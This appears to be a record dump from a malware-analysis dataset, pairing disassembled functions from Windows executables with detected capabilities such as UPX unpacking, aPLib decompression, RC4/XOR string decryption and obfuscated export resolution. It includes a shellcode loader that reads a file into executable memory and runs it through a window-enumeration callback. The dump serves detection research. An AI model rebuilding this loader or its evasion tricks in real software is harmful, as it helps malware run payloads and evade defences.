joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10044900
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor eax, 0xffffffff
test ecx, ecx
mov esi, dword [ebp + 8]
je 0x10044929
xor al, byte [esi]
movzx edx, al
shr eax, 8
mov edx, dword [edx*4 + 0x424d100]
inc esi
xor eax, edx
dec ecx
jne 0x10044914
xor eax, 0xffffffff
pop esi
leave
ret 0xc

Function at 0x414b70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x10000]
push edi
jmp 0x414b8a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414b91
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414b80
mov eax, 1
add ebx, ebx
jne 0x414ba3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x414b98
jne 0x414bb4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414b98
xor ecx, ecx
sub eax, 3
jb 0x414bc8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x414c3a
mov ebp, eax
add ebx, ebx
jne 0x414bd3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414be0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x414c04
inc ecx
add ebx, ebx
jne 0x414bf0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x414be5
jne 0x414c01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414be5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x414c24
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x414c15
jmp 0x414b86
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x414c24
add edi, ecx
jmp 0x414b86
pop esi
mov edi, esi
mov ecx, 4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x414c42
cmp byte [edi], 5
jne 0x414c42
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x414c47
lea edi, [esi + 0x12000]
mov eax, dword [edi]
or eax, eax
je 0x414cbf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19be8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19c24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x414c74
mov ecx, edi
jns 0x414ca3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19c2c]
or eax, eax
je 0x414cb9
mov dword [ebx], eax
add ebx, 4
jmp 0x414c91
call dword [esi + 0x19c28]
mov ebp, dword [esi + 0x19c30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x414cf3
sub esp, 0xffffff80
jmp 0x401150
Function at 0x10139ee7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ebx
push ecx
push ecx
add esp, 4
xor ecx, 0xa590
pop ecx
push ebx
push ecx
add esp, 4
or ebx, 0x43ef
and ebx, 0x9f8b
pop ebx
cmp dword [ebp - 0xea4], 0
jne 0x10139f21
mov dword [ebp - 0x870], 0
jmp 0x1013a181
mov ecx, dword [ebp - 0xea4]
mov dword [ebp - 0x5c8], ecx
push ecx
jmp 0x10139f36
or ecx, 0x4939
sub ecx, 0x255
jmp 0x10139f4a
pop ecx
push ecx
push ebx
add esp, 4
and ecx, 0x10f6c
jmp 0x10139f5e
pop ecx
lea edx, [ebp - 0x1ac8]
mov dword [ebp - 0xea0], edx
mov eax, dword [ebp - 0x5c8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xe9c], ecx
xor edx, edx
mov word [ebp - 0x268], dx
xor eax, eax
mov word [ebp - 0x13c], ax
push eax
xor eax, 0x15554
jmp 0x10139f9a
and eax, 0x9a9c
pop eax
push ebx
add ebx, 0xfc7b
xor ebx, 0x36d6
jmp 0x10139fb7
and ebx, 0xb053
pop ebx
mov ecx, dword [ebp - 0xe9c]
mov dx, word [ecx]
mov word [ebp - 0x12b2], dx
mov eax, dword [ebp - 0xe9c]
add eax, 2
mov dword [ebp - 0xe9c], eax
mov cx, word [ebp - 0x12b2]
mov word [ebp - 0x268], cx
mov edx, dword [ebp - 0xea0]
mov ax, word [edx]
mov word [ebp - 0x12b4], ax
mov ecx, dword [ebp - 0xea0]
add ecx, 2
mov dword [ebp - 0xea0], ecx
mov dx, word [ebp - 0x12b4]
mov word [ebp - 0x13c], dx
push ecx
push ebx
add esp, 4
or ecx, 0x12b02
sub ecx, 0x7708
and ecx, 0x11453
add ecx, 0xda38
pop ecx
push ebx
sub ebx, 0x9a50
jmp 0x1013a043
sub ebx, 0x85e9
pop ebx
movzx eax, word [ebp - 0x13c]
test eax, eax
jne 0x1013a06d
movzx ecx, word [ebp - 0x268]
movzx edx, word [ebp - 0x13c]
sub ecx, edx
mov dword [ebp - 0x1900], ecx
jmp 0x1013a0d0
movzx eax, word [ebp - 0x268]
movzx ecx, word [ebp - 0x13c]
cmp eax, ecx
je 0x10139f8c
movzx edx, word [ebp - 0x268]
xor edx, 0x20
movzx eax, word [ebp - 0x13c]
cmp edx, eax
je 0x10139f8c
movzx ecx, word [ebp - 0x268]
movzx edx, word [ebp - 0x13c]
cmp ecx, edx
jge 0x1013a0ba
mov dword [ebp - 0x18fc], 0xffffffff
jmp 0x1013a0c4
mov dword [ebp - 0x18fc], 1
mov eax, dword [ebp - 0x18fc]
mov dword [ebp - 0x1900], eax
cmp dword [ebp - 0x1900], 0
jne 0x1013a119
push esi
push esi
add esp, 4
call 0x1013a0ea
add byte [eax + 0x3d], dl
cmp eax, 0x834d4732
les eax, [ebx + ebp*8]
pop es
cmp ecx, dword [ebp + 0x37]
xor al, byte [eax + edi + 0x3c]
and esi, 0x16548
add esi, 0x155f6
pop esi
push ecx
sub ecx, 0xedb1
pop ecx
mov ecx, dword [ebp - 0x5c8]
mov dword [ebp - 0x870], ecx
jmp 0x1013a181
push esi
add esi, 0xf1a3
sub esi, 0x2e03
pop esi
push eax
and eax, 0x2e40
call 0x1013a13b
add byte [edi], dh
xor cl, byte [esi + 0x48]
inc edx
push eax
xor eax, 0x8104c483
loopne 0x1013a111
inc ebx
add byte [eax], al
or eax, 0x1091b
pop eax
mov edx, dword [ebp - 0x5c8]
mov eax, dword [edx]
mov dword [ebp - 0x5c8], eax
mov ecx, dword [ebp - 0x5c8]
cmp ecx, dword [ebp - 0xea4]
je 0x1013a177
mov edx, dword [ebp - 0x5c8]
cmp dword [edx + 0x30], 0
jne 0x10139f2d
mov dword [ebp - 0x870], 0
Function at 0x1013a0ea
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ebx
push ecx
push ecx
add esp, 4
xor ecx, 0xa590
pop ecx
push ebx
push ecx
add esp, 4
or ebx, 0x43ef
and ebx, 0x9f8b
pop ebx
cmp dword [ebp - 0xea4], 0
jne 0x10139f21
mov dword [ebp - 0x870], 0
jmp 0x1013a181
mov ecx, dword [ebp - 0xea4]
mov dword [ebp - 0x5c8], ecx
push ecx
jmp 0x10139f36
or ecx, 0x4939
sub ecx, 0x255
jmp 0x10139f4a
pop ecx
push ecx
push ebx
add esp, 4
and ecx, 0x10f6c
jmp 0x10139f5e
pop ecx
lea edx, [ebp - 0x1ac8]
mov dword [ebp - 0xea0], edx
mov eax, dword [ebp - 0x5c8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xe9c], ecx
xor edx, edx
mov word [ebp - 0x268], dx
xor eax, eax
mov word [ebp - 0x13c], ax
push eax
xor eax, 0x15554
jmp 0x10139f9a
and eax, 0x9a9c
pop eax
push ebx
add ebx, 0xfc7b
xor ebx, 0x36d6
jmp 0x10139fb7
and ebx, 0xb053
pop ebx
mov ecx, dword [ebp - 0xe9c]
mov dx, word [ecx]
mov word [ebp - 0x12b2], dx
mov eax, dword [ebp - 0xe9c]
add eax, 2
mov dword [ebp - 0xe9c], eax
mov cx, word [ebp - 0x12b2]
mov word [ebp - 0x268], cx
mov edx, dword [ebp - 0xea0]
mov ax, word [edx]
mov word [ebp - 0x12b4], ax
mov ecx, dword [ebp - 0xea0]
add ecx, 2
mov dword [ebp - 0xea0], ecx
mov dx, word [ebp - 0x12b4]
mov word [ebp - 0x13c], dx
push ecx
push ebx
add esp, 4
or ecx, 0x12b02
sub ecx, 0x7708
and ecx, 0x11453
add ecx, 0xda38
pop ecx
push ebx
sub ebx, 0x9a50
jmp 0x1013a043
sub ebx, 0x85e9
pop ebx
movzx eax, word [ebp - 0x13c]
test eax, eax
jne 0x1013a06d
movzx ecx, word [ebp - 0x268]
movzx edx, word [ebp - 0x13c]
sub ecx, edx
mov dword [ebp - 0x1900], ecx
jmp 0x1013a0d0
movzx eax, word [ebp - 0x268]
movzx ecx, word [ebp - 0x13c]
cmp eax, ecx
je 0x10139f8c
movzx edx, word [ebp - 0x268]
xor edx, 0x20
movzx eax, word [ebp - 0x13c]
cmp edx, eax
je 0x10139f8c
movzx ecx, word [ebp - 0x268]
movzx edx, word [ebp - 0x13c]
cmp ecx, edx
jge 0x1013a0ba
mov dword [ebp - 0x18fc], 0xffffffff
jmp 0x1013a0c4
mov dword [ebp - 0x18fc], 1
mov eax, dword [ebp - 0x18fc]
mov dword [ebp - 0x1900], eax
cmp dword [ebp - 0x1900], 0
jne 0x1013a119
push esi
push esi
add esp, 4
call 0x1013a0ea
add byte [eax + 0x3d], dl
cmp eax, 0x834d4732
les eax, [ebx + ebp*8]
pop es
cmp ecx, dword [ebp + 0x37]
xor al, byte [eax + edi + 0x3c]
and esi, 0x16548
add esi, 0x155f6
pop esi
push ecx
sub ecx, 0xedb1
pop ecx
mov ecx, dword [ebp - 0x5c8]
mov dword [ebp - 0x870], ecx
jmp 0x1013a181
push esi
add esi, 0xf1a3
sub esi, 0x2e03
pop esi
push eax
and eax, 0x2e40
call 0x1013a13b
add byte [edi], dh
xor cl, byte [esi + 0x48]
inc edx
push eax
xor eax, 0x8104c483
loopne 0x1013a111
inc ebx
add byte [eax], al
or eax, 0x1091b
pop eax
mov edx, dword [ebp - 0x5c8]
mov eax, dword [edx]
mov dword [ebp - 0x5c8], eax
mov ecx, dword [ebp - 0x5c8]
cmp ecx, dword [ebp - 0xea4]
je 0x1013a177
mov edx, dword [ebp - 0x5c8]
cmp dword [edx + 0x30], 0
jne 0x10139f2d
mov dword [ebp - 0x870], 0
Function at 0x1013a13b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ebx
push ecx
push ecx
add esp, 4
xor ecx, 0xa590
pop ecx
push ebx
push ecx
add esp, 4
or ebx, 0x43ef
and ebx, 0x9f8b
pop ebx
cmp dword [ebp - 0xea4], 0
jne 0x10139f21
mov dword [ebp - 0x870], 0
jmp 0x1013a181
mov ecx, dword [ebp - 0xea4]
mov dword [ebp - 0x5c8], ecx
push ecx
jmp 0x10139f36
or ecx, 0x4939
sub ecx, 0x255
jmp 0x10139f4a
pop ecx
push ecx
push ebx
add esp, 4
and ecx, 0x10f6c
jmp 0x10139f5e
pop ecx
lea edx, [ebp - 0x1ac8]
mov dword [ebp - 0xea0], edx
mov eax, dword [ebp - 0x5c8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xe9c], ecx
xor edx, edx
mov word [ebp - 0x268], dx
xor eax, eax
mov word [ebp - 0x13c], ax
push eax
xor eax, 0x15554
jmp 0x10139f9a
and eax, 0x9a9c
pop eax
push ebx
add ebx, 0xfc7b
xor ebx, 0x36d6
jmp 0x10139fb7
and ebx, 0xb053
pop ebx
mov ecx, dword [ebp - 0xe9c]
mov dx, word [ecx]
mov word [ebp - 0x12b2], dx
mov eax, dword [ebp - 0xe9c]
add eax, 2
mov dword [ebp - 0xe9c], eax
mov cx, word [ebp - 0x12b2]
mov word [ebp - 0x268], cx
mov edx, dword [ebp - 0xea0]
mov ax, word [edx]
mov word [ebp - 0x12b4], ax
mov ecx, dword [ebp - 0xea0]
add ecx, 2
mov dword [ebp - 0xea0], ecx
mov dx, word [ebp - 0x12b4]
mov word [ebp - 0x13c], dx
push ecx
push ebx
add esp, 4
or ecx, 0x12b02
sub ecx, 0x7708
and ecx, 0x11453
add ecx, 0xda38
pop ecx
push ebx
sub ebx, 0x9a50
jmp 0x1013a043
sub ebx, 0x85e9
pop ebx
movzx eax, word [ebp - 0x13c]
test eax, eax
jne 0x1013a06d
movzx ecx, word [ebp - 0x268]
movzx edx, word [ebp - 0x13c]
sub ecx, edx
mov dword [ebp - 0x1900], ecx
jmp 0x1013a0d0
movzx eax, word [ebp - 0x268]
movzx ecx, word [ebp - 0x13c]
cmp eax, ecx
je 0x10139f8c
movzx edx, word [ebp - 0x268]
xor edx, 0x20
movzx eax, word [ebp - 0x13c]
cmp edx, eax
je 0x10139f8c
movzx ecx, word [ebp - 0x268]
movzx edx, word [ebp - 0x13c]
cmp ecx, edx
jge 0x1013a0ba
mov dword [ebp - 0x18fc], 0xffffffff
jmp 0x1013a0c4
mov dword [ebp - 0x18fc], 1
mov eax, dword [ebp - 0x18fc]
mov dword [ebp - 0x1900], eax
cmp dword [ebp - 0x1900], 0
jne 0x1013a119
push esi
push esi
add esp, 4
call 0x1013a0ea
add byte [eax + 0x3d], dl
cmp eax, 0x834d4732
les eax, [ebx + ebp*8]
pop es
cmp ecx, dword [ebp + 0x37]
xor al, byte [eax + edi + 0x3c]
and esi, 0x16548
add esi, 0x155f6
pop esi
push ecx
sub ecx, 0xedb1
pop ecx
mov ecx, dword [ebp - 0x5c8]
mov dword [ebp - 0x870], ecx
jmp 0x1013a181
push esi
add esi, 0xf1a3
sub esi, 0x2e03
pop esi
push eax
and eax, 0x2e40
call 0x1013a13b
add byte [edi], dh
xor cl, byte [esi + 0x48]
inc edx
push eax
xor eax, 0x8104c483
loopne 0x1013a111
inc ebx
add byte [eax], al
or eax, 0x1091b
pop eax
mov edx, dword [ebp - 0x5c8]
mov eax, dword [edx]
mov dword [ebp - 0x5c8], eax
mov ecx, dword [ebp - 0x5c8]
cmp ecx, dword [ebp - 0xea4]
je 0x1013a177
mov edx, dword [ebp - 0x5c8]
cmp dword [edx + 0x30], 0
jne 0x10139f2d
mov dword [ebp - 0x870], 0
Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push ebx
push esi
push edi
xor eax, eax
je 0x10001013
adc dword [edx], esp
xor esi, dword [ebx]
fld xword [eax - 1]
add eax, dword [eax]
add byte [ebp - 0x4067b], cl
call dword [ebx + 0x50]
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x407]
push ebx
push eax
mov byte [ebp - 0x408], bl
call fcn.10004690
add esp, 0xc
push 0x400
lea eax, [ebp - 0x408]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x408]
push 0x5c
push eax
call fcn.10001140
pop ecx
pop ecx
cmp eax, ebx
je 0x1000105a
mov byte [eax + 1], bl
mov eax, 0x10009b20
mov esi, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10001061
lea edi, [ebp - 0x408]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x10001071
mov ecx, eax
shr ecx, 2
push ebx
rep movsd dword es:[edi], dword [esi]
push 0x80
push 3
push ebx
push ebx
mov ecx, eax
push 0x80000000
lea eax, [ebp - 0x408]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov esi, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
mov edi, eax
lea eax, [ebp - 8]
push eax
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push esi
push ebx
push 0x40
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push ebx
push ebx
push 0xf003f
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
cmp eax, edi
jae 0x10001110
cmp esi, ebx
je 0x1000112b
sub edi, eax
mov dl, byte [edi + ecx]
dec esi
mov byte [ecx], dl
inc ecx
cmp esi, ebx
jne 0x10001103
jmp 0x1000112b
lea ecx, [edi + esi - 1]
lea edx, [eax + esi - 1]
cmp esi, ebx
je 0x1000112b
mov edi, edx
sub edi, ecx
mov dl, byte [ecx]
dec esi
mov byte [edi + ecx], dl
dec ecx
cmp esi, ebx
jne 0x10001120
push ebx
push eax
push ebx
call dword [sym.imp.USER32.dll_EnumChildWindows]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004046
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10009a80]
jne 0x10004050
repz ret
jmp fcn.100051cd
Function at 0x4dc11e
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x4dc13e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4dc12a
add dl, dl
jne 0x4dc149
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4dc19a
xor eax, eax
add dl, dl
jne 0x4dc156
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4dc23b
add dl, dl
jne 0x4dc165
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4dc170
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4dc17b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4dc186
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x4dc190
push edi
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x4dc135
mov eax, 1
add dl, dl
jne 0x4dc1a8
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4dc1b3
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4dc19f
sub eax, ebx
mov ebx, 1
jne 0x4dc1e6
mov ecx, 1
add dl, dl
jne 0x4dc1cc
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x4dc1d7
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4dc1c3
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4dc135
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x4dc1fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x4dc208
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4dc1f4
cmp eax, 0x7d00
jae 0x4dc22b
cmp eax, 0x500
jb 0x4dc226
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4dc135
cmp eax, 0x7f
ja 0x4dc22e
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4dc135
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x4dc25c
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x4dc135
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x1001becf
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov edx, ecx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001bedb
sub ecx, esi
jne 0x1001bf4e
and dword [ebp - 4], ecx
xor esi, esi
push ebx
movzx ebx, byte [edx + 8]
mov dword [ebp - 8], esi
cmp byte [edx + 9], cl
jbe 0x1001bf45
push edi
lea edi, [edx + 0xc]
mov dword [ebp - 0xc], edi
mov eax, dword [edi]
xor esi, esi
mov edi, dword [ebp - 4]
mov dword [ebp - 0x10], eax
push 3
pop ecx
sub ecx, esi
shl ecx, 3
shr eax, cl
xor al, bl
mov byte [edi + edx], al
inc edi
mov eax, dword [ebp - 0x10]
inc ebx
and ebx, 0xff
inc esi
cmp esi, 4
jb 0x1001bf09
mov esi, dword [ebp - 8]
movzx eax, byte [edx + 9]
inc esi
mov dword [ebp - 4], edi
mov edi, dword [ebp - 0xc]
add edi, 4
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], edi
cmp esi, eax
jb 0x1001beff
pop edi
movzx eax, byte [edx + 0xa]
pop ebx
mov byte [eax + edx], 0
mov eax, dword [ebp + 8]
pop esi
mov dword [eax], edx
mov esp, ebp
pop ebp
ret 8

Function at 0x1001bfcd
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov edx, ecx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001bfd9
sub ecx, esi
jne 0x1001c04c
and dword [ebp - 4], ecx
xor esi, esi
push ebx
movzx ebx, byte [edx + 4]
mov dword [ebp - 8], esi
cmp byte [edx + 5], cl
jbe 0x1001c043
push edi
lea edi, [edx + 8]
mov dword [ebp - 0xc], edi
mov eax, dword [edi]
xor esi, esi
mov edi, dword [ebp - 4]
mov dword [ebp - 0x10], eax
push 3
pop ecx
sub ecx, esi
shl ecx, 3
shr eax, cl
xor al, bl
mov byte [edi + edx], al
inc edi
mov eax, dword [ebp - 0x10]
inc ebx
and ebx, 0xff
inc esi
cmp esi, 4
jb 0x1001c007
mov esi, dword [ebp - 8]
movzx eax, byte [edx + 5]
inc esi
mov dword [ebp - 4], edi
mov edi, dword [ebp - 0xc]
add edi, 4
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], edi
cmp esi, eax
jb 0x1001bffd
pop edi
movzx eax, byte [edx + 6]
pop ebx
mov byte [eax + edx], 0
mov eax, dword [ebp + 8]
pop esi
mov dword [eax], edx
mov esp, ebp
pop ebp
ret 8

Function at 0x1001c0cb
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x1002d140
sub esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001c0d9
sub ecx, edx
jne 0x1001c153
mov eax, dword [0x1002d158]
xor edx, edx
push edi
xor edi, edi
movzx ecx, al
mov dword [ebp - 8], edx
mov dword [ebp - 4], ecx
test ah, ah
je 0x1001c144
push esi
mov eax, dword [edx*4 + 0x1002d15c]
xor esi, esi
mov edx, dword [ebp - 4]
mov dword [ebp - 0xc], eax
push 3
pop ecx
sub ecx, esi
shl ecx, 3
shr eax, cl
xor al, dl
mov byte [edi + 0x1002d140], al
inc edi
mov eax, dword [ebp - 0xc]
inc edx
and edx, 0xff
inc esi
cmp esi, 4
jb 0x1001c10b
movzx eax, byte [0x1002d159]
mov dword [ebp - 4], edx
mov edx, dword [ebp - 8]
inc edx
mov dword [ebp - 8], edx
cmp edx, eax
jb 0x1001c0fc
pop esi
movzx eax, byte [0x1002d15a]
pop edi
mov byte [eax + 0x1002d140], 0
mov eax, dword [ebp + 8]
mov dword [eax], 0x1002d140
mov esp, ebp
pop ebp
ret 8
Function at 0x1001c162
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [esi], 0x1505
test eax, eax
je 0x1001c18f
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
jbe 0x1001c18e
imul ecx, dword [esi], 0x21
movzx edx, byte [edi + eax]
xor edx, ecx
inc edi
mov dword [esi], edx
cmp edi, dword [ebp + 0xc]
jb 0x1001c17d
pop edi
mov eax, dword [esi]
pop esi
pop ebp
ret 8

Function at 0x1001d461
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov edx, ecx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d46d
sub ecx, esi
jne 0x1001d4e0
and dword [ebp - 4], ecx
xor esi, esi
push ebx
movzx ebx, byte [edx + 0x10]
mov dword [ebp - 8], esi
cmp byte [edx + 0x11], cl
jbe 0x1001d4d7
push edi
lea edi, [edx + 0x14]
mov dword [ebp - 0xc], edi
mov eax, dword [edi]
xor esi, esi
mov edi, dword [ebp - 4]
mov dword [ebp - 0x10], eax
push 3
pop ecx
sub ecx, esi
shl ecx, 3
shr eax, cl
xor al, bl
mov byte [edi + edx], al
inc edi
mov eax, dword [ebp - 0x10]
inc ebx
and ebx, 0xff
inc esi
cmp esi, 4
jb 0x1001d49b
mov esi, dword [ebp - 8]
movzx eax, byte [edx + 0x11]
inc esi
mov dword [ebp - 4], edi
mov edi, dword [ebp - 0xc]
add edi, 4
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], edi
cmp esi, eax
jb 0x1001d491
pop edi
movzx eax, byte [edx + 0x12]
pop ebx
mov byte [eax + edx], 0
mov eax, dword [ebp + 8]
pop esi
mov dword [eax], edx
mov esp, ebp
pop ebp
ret 8
Function at 0x10020fca
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov edx, ecx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10020fd6
sub ecx, esi
jne 0x10021049
and dword [ebp - 4], ecx
xor esi, esi
push ebx
movzx ebx, byte [edx + 0xc]
mov dword [ebp - 8], esi
cmp byte [edx + 0xd], cl
jbe 0x10021040
push edi
lea edi, [edx + 0x10]
mov dword [ebp - 0xc], edi
mov eax, dword [edi]
xor esi, esi
mov edi, dword [ebp - 4]
mov dword [ebp - 0x10], eax
push 3
pop ecx
sub ecx, esi
shl ecx, 3
shr eax, cl
xor al, bl
mov byte [edi + edx], al
inc edi
mov eax, dword [ebp - 0x10]
inc ebx
and ebx, 0xff
inc esi
cmp esi, 4
jb 0x10021004
mov esi, dword [ebp - 8]
movzx eax, byte [edx + 0xd]
inc esi
mov dword [ebp - 4], edi
mov edi, dword [ebp - 0xc]
add edi, 4
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], edi
cmp esi, eax
jb 0x10020ffa
pop edi
movzx eax, byte [edx + 0xe]
pop ebx
mov byte [eax + edx], 0
mov eax, dword [ebp + 8]
pop esi
mov dword [eax], edx
mov esp, ebp
pop ebp
ret 8
Function at 0x10023a25
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 8]
push edi
mov edx, dword [ebx]
mov edi, dword [ebp + 0xc]
mov dword [ebp - 4], ebx
cmp edi, 7
ja case.default.0x10023a3e
jmp dword [edi*4 + 0x10023bcd]
mov eax, esi
and eax, 3
sub edi, eax
dec eax
je 0x10023a7b
dec eax
je 0x10023a68
dec eax
jne 0x10023a8e
movzx ecx, byte [esi]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x10028ba0]
inc esi
movzx ecx, byte [esi]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x10028ba0]
inc esi
movzx ecx, byte [esi]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x10028ba0]
inc esi
mov ebx, edi
shr ebx, 3
test ebx, ebx
je 0x10023b0e
xor edx, dword [esi]
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x10028ba0]
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x10028ba0]
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x10028ba0]
mov ecx, edx
movzx eax, cl
shr ecx, 8
mov edx, dword [eax*4 + 0x10028ba0]
xor edx, dword [esi + 4]
add esi, 8
xor edx, ecx
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x10028ba0]
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x10028ba0]
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x10028ba0]
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x10028ba0]
dec ebx
